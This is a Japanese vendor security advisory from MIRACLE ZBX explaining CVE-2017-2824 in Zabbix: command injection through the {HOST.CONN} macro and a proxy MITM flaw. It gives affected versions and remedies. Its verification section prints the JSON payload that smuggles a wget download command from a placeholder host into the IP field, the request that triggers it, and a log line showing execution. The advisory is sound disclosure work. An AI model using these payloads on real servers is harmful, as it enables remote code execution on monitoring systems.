現在位置: ホーム / 製品・サービス / 統合システム監視 MIRACLE ZBX / MIRACLE ZBX - Zabbix テック・ラウンジ / Zabbixの脆弱性CVE-2017-2824([ZBX-12075][ZBX-12076])の調査と解説

Zabbixの脆弱性CVE-2017-2824([ZBX-12075][ZBX-12076])の調査と解説

本ドキュメントでは、Zabbix-3.0.9、zabbix-2.2.18において修正されたいくつかのセキュリティ問題について解説します。

はじめに

本ドキュメントでは、Zabbix-3.0.9、zabbix-2.2.18において修正された以下のセキュリティ問題についての解説を行います。

https://support.zabbix.com/browse/ZBX-12074
Security vulnerability findings

https://support.zabbix.com/browse/ZBX-12075
ZBX-12075 Bug 1. Zabbix Server Remote Code Execution ( CVSS: 10, SIR: Critical )

https://support.zabbix.com/browse/ZBX-12076
Bug 2. Active Zabbix Proxy MITM Database Overwrite (CVSS 6.8: SIR: High)

上記の問題はZabbixの脆弱性として、CVE-2017-2824に登録されています。
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-2824

上記の問題を報告したCisco社Webページ
https://www.talosintelligence.com/reports/TALOS-2017-0325/

 

[ZBX-12075]の解説

本問題を修正する前のZabbixの実装では、Zabbixサーバに接続することができる任意のホストから下記のことを行えました。

ホストを新規に登録することができ、そのインターフェイスの「IPアドレス」に任意の文字列を登録する
登録されているスクリプト(※1)を実行する

「IPアドレス」に登録した文字列はマクロ{HOST.CONN}を使用して参照することができます。悪いことに、Zabbixにはデフォルトでマクロ{HOST.CONN}を使用したスクリプトが3つ登録されています。

上記のことを組み合わせることにより、下記のようにコマンドインジェクションが可能でした。

  1. 悪意的なホストの登録を行う。その「IPアドレス」にはコマンドを実行するための文字列を登録する。
  2. そのホストに対して{HOST.CONN}を使用しているスクリプトを実行することにより、上記のコマンドが実行される。

ZBX-12075解説記事用の構造図

 

[ZBX-12075]の影響を受ける環境

使用状況

Zabbixプロキシを経由したネットワークディスカバリ機能、若しくはアクティブチェックを利用したホストの自動登録(※2)を使用している。かつ、{HOST.CONN}マクロを使用したスクリプト(※1)が登録されている。

対象となるMIRACLE ZBXバージョン:

3.0.x: 3.0.9-2以下
2.2.x: 2.2.17-1以下
2.0.x: 2.0.20-1以下

 [ZBX-12075] の対処方法

本問題への対処は下記の何れかとなります。

パッケージのアップデートを行う

本問題への対策を行ったMIRACLE ZBX 2.2.17-4 および MIRACLE ZBX 3.0.9-3 をリリースしました。
アクティブテェックによるホストの自動登録において IP アドレス欄に任意の文字列を登録でき、コマンドとして実行できる脆弱性を修正。
この修正は CVE-2017-2824 に関連している脆弱性で MIRACLE ZBX 独自の追加修正です。(2017/06/05)

回避策を実施する

Zabbixプロキシを経由するネットワークディスカバリ機能、及びアクティブチェックを使用したホストの自動登録を使用しない。{HOST.CONN}マクロを使用したマクロを削除する。

※バージョン3.0.xでは暗号化機能を利用することで軽減することができます。

 [ZBX-12075] の調査

当社の環境おいて検証を行い、[ZBX-12075]に記載されている方法により、Zabbixサーバに接続できる任意のホストから任意のコマンドを実行することができることを確認しました。
ホストの登録、コマンドの実行には、Zabbixのプロトコルに則りZabbixトラッパープロセスと通信を行うプログラムを作成して使用しました。

1. ホストの登録

[ZBX-12075]を参考にして、ホストを登録するデータを作成し上記のプログラムを使用してデータの登録を行いました。

使用したデータ:

{
 "request":"discovery data",
 "host":"zabbix_proxy",
 "clock":10,
 "data":[{
 "clock":10,"drule":4,
 "dcheck":21,
 "type":12,
 "ip":";wget -O /tmp/s http://www.xxx.yyy.zzz/s;#",
 "dns":"",
 "port":10050,
 "key":"zzztest",
 "status":0,
 "value":"el7<(^_^)>mcp"
 }]
}

 

上記はプロキシを経由してホストの自動登録を行う場合のデータです。“host”フィールドにはプロキシ名を指定する必要があります。攻撃者は何らかの方法でこの値を入手する必要があります。

結果として、IPアドレスの欄にコマンドに該当する文字列が挿入されているホストを登録されました。

 ・インターフェースのIPアドレスにコマンドが挿入された状況」
  Zabbix Webインターフェース: [設定]->[ホスト]

インタフェースのIPアドレスにコマンドを登録

2. スクリプトの登録
{HOST.CONN}を利用したスクリプトが登録されていることを確認しました。これらのスクリプトは検証目的に登録したものでなく、Zabbixのインストールを行った初期状態において登録されているものです。
・デフォルトで登録されているスクリプト
Zabbix Webインターフェース: [管理]->[スクリプト]
Webインタフェーススクリプト登録

 

3. スクリプトの実行

登録されているスクリプトを1.で登録したホストに対して実行しました。

スクリプトの実行は、[ZBX-12075]を参考にして、スクリプトを実行するデータを作成し上記のプログラムを使用してデータの送信することで行いました。

使用したデータ:
{
"request":"command"
"nodeid":0,
"scriptid":"1",
"hostid":"10144"
}

"hostid”フィールドには、スクリプトを実行する対象のホストのhostidを指定する必要があります。攻撃者は何らかの方法でこの値を入手する必要がありますが、[ZBX-12075]に記載されているとおり、総当たり的な方法で解決できると考えます。

スクリプトを実行すると「コマンド」の{HOST.CONN}の箇所が、「IPアドレス」に登録されている文字列(コマンド)に置き換えられ、下記のようにコマンドが実行されました。

zabbix_server.logからの抜粋:

In zbx_popen() command:'/bin/ping -c 3 ;wget -O /tmp/s http://www.xxx.yyy.zzz/ 2>&1'

 

[ZBX-12076] の解説

ZabbixプロキシはZabbixサーバに自身のプロキシの設定データを要求することができます、またホスト名が分かっていれば他のZabbixプロキシの設定データを要求することもできます。

本問題を修正する前のZabbixの実装では、ZabbixサーバはZabbixプロキシからの設定データの要求を受けると、自身のデータベースからデータを収集してZabbixプロキシに送信します。ZabbixプロキシはZabbixサーバからデータを受け取ると制限なしに自身のデータベースに適用します。

そのため、攻撃者はZabbixサーバとZabbixプロキシの間に入り、設定データに任意のデータを挿入することができれば、Zabbixプロキシはその改竄されたデータを制限なしに適用してしまいます。man in the middle(MITM)の手法により、JSON形式のデータを挿入することでこのことは実現可能です。

[ZBX-12076]の影響を受ける環境

使用状況

Zabbixプロキシを使用している環境

対象となるMIRACLE ZBXバージョン:

3.0.x: 3.0.9-2以下
2.2.x: 2.2.17-1以下
2.0.x: 2.0.20-1以下

[ ZBX-12076]の対処方法

本問題への対処は下記の何れかとなります。

パッケージのアップデートを行う

次期リリースの本問題への対策を行ったMIRACLE ZBX 2.2.17-4 および MIRACLE ZBX 3.0.9-3をリリースしました。(2017/06/05)

Zabbixプロキシを使用しない

 

※バージョン3.0.xでは暗号化機能を利用することで軽減することができます。

 

参考情報

※1 スクリプト
https://www.zabbix.com/documentation/2.2/jp/manual/web_interface/frontend_sections/administration/scripts


※2 ホストの自動登録

ネットワークディスカバリ
https://www.zabbix.com/documentation/2.2/jp/manual/discovery/network_discovery

アクティブエージェントの自動登録
https://www.zabbix.com/documentation/2.2/jp/manual/discovery/auto_registration

※3 MIRACLE ZBX のアップデート情報
https://www.miraclelinux.com/support/miracle-zbx30/update-list
https://www.miraclelinux.com/support/miracle-zbx22/update-list
https://www.miraclelinux.com/support/miracle-zbx20/update-list

 

関連記事

 

注意事項

本ドキュメントの内容は、予告なしに変更される場合があります。
本ドキュメントは、限られた評価環境における検証結果をもとに作成しており、全ての環境での動作を保証するものではありません。
本ドキュメントの内容に基づき、導入、設定、運用を行なったことにより損害が生じた場合でも、当社はその損害についての責任を負いません。あくまでお客さまのご判断にてご使用ください。

更新履歴

2017年5月29日 新規作成
2017年6月  6日 対処方法の記載を変更

 

MIRACLE ZBX 製品・サポートサービス 詳しくはこちら

MIRACLE ZBX Virtual Appliance V3.0 評価版のお申し込み

製品・サービスについてのお問い合わせ

お問い合わせフォームMIRACLE ZBX製品やサポートサービスについてのご相談やご質問は、「お問い合わせフォーム」よりお気軽にお問い合わせください。